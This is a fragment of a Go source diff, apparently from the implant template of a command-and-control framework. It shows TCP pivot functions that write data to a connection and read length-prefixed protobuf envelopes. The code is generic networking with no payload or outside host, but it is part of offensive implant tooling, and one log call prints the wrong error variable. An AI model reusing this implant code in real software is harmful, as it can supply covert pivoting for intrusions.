n, err2 := (*conn).Write(data[totalWritten : totalWritten+bufSize])
|
||||
totalWritten += n
|
||||
if err2 != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcppivot] Error %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
if totalWritten < len(data) {
|
||||
missing := len(data) - totalWritten
|
||||
_, err := (*conn).Write(data[totalWritten : totalWritten+missing])
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcppivot] Error %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func tcpPivotReadEnvelope(conn *net.Conn) (*pb.Envelope, error) {
|
||||
dataLengthBuf := make([]byte, 4)
|
||||
_, err := (*conn).Read(dataLengthBuf)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcppivot] Error (read msg-length): %v\n", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
|
||||
readBuf := make([]byte, bufSize)
|
||||
dataBuf := make([]byte, 0)
|
||||
totalRead := 0
|
||||
for {
|
||||
n, err := (*conn).Read(readBuf)
|
||||
dataBuf = append(dataBuf, readBuf[:n]...)
|
||||
totalRead += n
|
||||
if totalRead == dataLength {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("read error: %s\n", err)
|
||||
// {{end}}
|
||||
break
|
||||
}
|
||||
}
|
||||
envelope := &pb.Envelope{}
|
||||
err = proto.Unmarshal(dataBuf, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcppivot] Unmarshal envelope error: %v", err)
|
||||
// {{end}}
|
||||
return &pb.Envelope{}, err
|
||||
}
|
||||
return envelope, nil
|
||||
}
|
||||
Loaded 100 of 1036 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user